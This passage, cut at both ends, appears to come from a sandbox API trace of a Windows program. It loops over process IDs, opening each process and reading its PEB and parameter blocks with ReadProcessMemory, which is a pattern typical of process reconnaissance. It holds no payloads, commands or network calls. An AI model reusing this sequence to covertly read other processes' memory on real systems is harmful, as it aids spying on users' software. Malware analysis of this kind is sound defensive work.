szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.915] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.916] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x15e0) returned 0x414 [0192.916] GetLastError () returned 0x0 [0192.916] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.916] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x25b018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.917] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.917] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x492650, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.917] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x492258, lpBuffer=0x104c5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.917] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.917] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.917] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x25b020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.917] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x491c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.918] malloc (_Size=0x6c) returned 0xea95a0 [0192.918] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4922bc, lpBuffer=0xea95a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea95a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.918] free (_Block=0xea95a0) [0192.918] CloseHandle (hObject=0x414) returned 1 [0192.918] _ui64tow_s (in: _Value=0x1614, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5652") returned 0x0 [0192.919] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5652") returned 4 [0192.919] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.919] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.920] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1614) returned 0x414 [0192.920] GetLastError () returned 0x0 [0192.920] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.920] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x381018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.920] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.920] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5d2600, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.921] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5d2258, lpBuffer=0x104c5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.921] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.921] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.921] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x381020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.921] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5d1c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.921] malloc (_Size=0x54) returned 0xeaa110 [0192.921] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5d22a4, lpBuffer=0xeaa110, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeaa110*, lpNumberOfBytesRead=0x0) returned 1 [0192.922] free (_Block=0xeaa110) [0192.922] CloseHandle (hObject=0x414) returned 1 [0192.922] _ui64tow_s (in: _Value=0x161c, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5660") returned 0x0 [0192.922] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5660") returned 4 [0192.922] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.923] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.923] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x161c) returned 0x414 [0192.923] GetLastError () returned 0x0 [0192.923] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.923] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x360018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.924] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.924] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x6a2650, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.924] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x6a2258, lpBuffer=0x104c5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.924] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.924] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.924] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x360020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.925] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x6a1c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.925] malloc (_Size=0x6c) returned 0xea8ba0 [0192.925] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x6a22bc, lpBuffer=0xea8ba0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8ba0*, lpNumberOfBytesRead=0x0) returned 1 [0192.925] free (_Block=0xea8ba0) [0192.925] CloseHandle (hObject=0x414) returned 1 [0192.926] _ui64tow_s (in: _Value=0x1638, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5688") returned 0x0 [0192.926] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5688") returned 4 [0192.926] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.926] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.927] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1638) returned 0x414 [0192.927] GetLastError () returned 0x0 [0192.927] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.927] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x342018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.927] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.927] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x762670, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.927] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x762258, lpBuffer=0x104c5a0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.928] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.928] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.928] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x342020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.928] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x761c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.928] malloc (_Size=0x78) returned 0xea9520 [0192.928] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7622c8, lpBuffer=0xea9520, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9520*, lpNumberOfBytesRead=0x0) returned 1 [0192.929] free (_Block=0xea9520) [0192.929] CloseHandle (hObject=0x414) returned 1 [0192.929] _ui64tow_s (in: _Value=0x1640, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5696") returned 0x0 [0192.929] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5696") returned 4 [0192.929] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.929] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.930] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1640) returned 0x414 [0192.930] GetLastError () returned 0x0 [0192.930] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.930] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x305018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.931] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.931] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5f2650, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.931] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5f2258, lpBuffer=0x104c5a0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.931] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.932] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.932] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x305020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.932] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5f1c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.932] malloc (_Size=0x6e) returned 0xea8fa0 [0192.932] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5f22be, lpBuffer=0xea8fa0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8fa0*, lpNumberOfBytesRead=0x0) returned 1 [0192.933] free (_Block=0xea8fa0) [0192.933] CloseHandle (hObject=0x414) returned 1 [0192.933] _ui64tow_s (in: _Value=0x1648, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5704") returned 0x0 [0192.933] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5704") returned 4 [0192.934] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.934] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.935] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1648) returned 0x414 [0192.935] GetLastError () returned 0x0 [0192.935] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.935] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3de018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.936] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.936] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x522650, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.936] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x522258, lpBuffer=0x104c5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.936] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.937] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.937] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3de020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.937] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x521c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.937] malloc (_Size=0x6c) returned 0xea9520 [0192.937] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5222bc, lpBuffer=0xea9520, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9520*, lpNumberOfBytesRead=0x0) returned 1 [0192.938] free (_Block=0xea9520) [0192.938] CloseHandle (hObject=0x414) returned 1 [0192.938] _ui64tow_s (in: _Value=0x1650, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5712") returned 0x0 [0192.938] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5712") returned 4 [0192.939] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.939] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.940] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1650) returned 0x414 [0192.940] GetLastError () returned 0x0 [0192.940] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.940] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3bb018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.940] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.940] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5626e0, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.940] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x562258, lpBuffer=0x104c5a0, nSize=0x94, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.941] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.941] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.941] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3bb020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.941] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x561c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.942] malloc (_Size=0x9c) returned 0xe961e0 [0192.942] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5622ec, lpBuffer=0xe961e0, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe961e0*, lpNumberOfBytesRead=0x0) returned 1 [0192.942] free (_Block=0xe961e0) [0192.943] CloseHandle (hObject=0x414) returned 1 [0192.943] _ui64tow_s (in: _Value=0x1658, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5720") returned 0x0 [0192.943] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5720") returned 4 [0192.943] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.943] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.944] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1658) returned 0x414 [0192.944] GetLastError () returned 0x0 [0192.945] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.945] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x27f018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.945] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.945] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x152680, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.945] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x152258, lpBuffer=0x104c5a0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.946] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.946] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.946] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x27f020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.946] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x151c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.946] malloc (_Size=0x7c) returned 0xe87670 [0192.946] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1522cc, lpBuffer=0xe87670, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87670*, lpNumberOfBytesRead=0x0) returned 1 [0192.947] free (_Block=0xe87670) [0192.947] CloseHandle (hObject=0x414) returned 1 [0192.947] _ui64tow_s (in: _Value=0x1660, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5728") returned 0x0 [0192.948] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5728") returned 4 [0192.948] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.948] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.949] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1660) returned 0x414 [0192.949] GetLastError () returned 0x0 [0192.949] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.949] ReadProcessMemory (in: hProcess=0x414, 